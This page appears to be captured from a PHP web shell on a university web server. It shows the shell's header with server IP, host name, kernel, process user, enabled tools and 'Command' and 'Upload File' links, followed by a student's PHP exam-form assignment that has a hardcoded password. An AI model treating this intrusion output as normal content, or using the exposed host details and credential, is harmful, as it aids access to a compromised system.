Server IP : 172.16.15.8 / Your IP : 3.145.106.7 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/../home/cghicks1/../cjmock/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); // Connor Mock // Assignment2A.php $pass = $_POST['pass']; $_SESSION['psw'] = $pass; if($pass != "hw21") print "go away."; else { ?> <CENTER> <H2> Web Exam Form </H2> <HR> <FORM action=Assignment2A1.php method=post> 1. What class is this? <INPUT type=radio name=q1 value=1 checked> CS389 <INPUT type=radio name=q1 value=2> CS120 <INPUT type=radio name=q1 value=3> CS480 <INPUT type=radio name=q1 value=4> CS210 <P> 2. What question is this? <INPUT type=radio name=q2 value=1 checked> 1 <INPUT type=radio name=q2 value=2> 2 <INPUT type=radio name=q2 value=3> 3 <INPUT type=radio name=q2 value=4> 4 <P> 3. Who is the instructor of CS389? <INPUT type=radio name=q3 value=1 checked> Dr.A <INPUT type=radio name=q3 value=2> Smith <INPUT type=radio name=q3 value=3> Wang <INPUT type=radio name=q3 value=4> Joe <P> 4.What is 1+1? <INPUT type=radio name=q4 value=1 checked> 7 <INPUT type=radio name=q4 value=2> 3 <INPUT type=radio name=q4 value=3> 1 <INPUT type=radio name=q4 value=4> 2 <P> <INPUT type=submit value="Submit Form"> <INPUT type=reset value="Reset Form"> </FORM> </CENTER> <?php } ?>